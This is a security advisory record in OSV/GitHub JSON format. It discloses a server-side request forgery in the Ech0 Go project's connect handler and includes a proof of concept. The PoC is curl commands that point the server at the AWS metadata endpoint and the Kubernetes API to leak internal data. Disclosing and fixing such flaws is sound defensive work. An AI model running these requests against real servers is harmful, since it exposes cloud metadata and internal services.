{"id":"GHSA-8mc6-xjpr-h98x","summary":"Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo","details":"## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d '{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}'\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d '{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}'\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery","aliases":["CVE-2026-79659","GO-2026-5259"],"modified":"2026-08-27T04:10:40.270367486Z","published":"2026-05-07T21:28:40Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-07T21:28:40Z","nvd_published_at":null,"cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"},{"type":"WEB","url":"https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"},{"type":"PACKAGE","url":"https://github.com/lin-snow/Ech0"}],"affected":[{"package":{"name":"github.com/lin-snow/ech0","ecosystem":"Go","purl":"pkg:golang/github.com/lin-snow/ech0"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503040602-091d26d2d942"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8mc6-xjpr-h98x/GHSA-8mc6-xjpr-h98x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}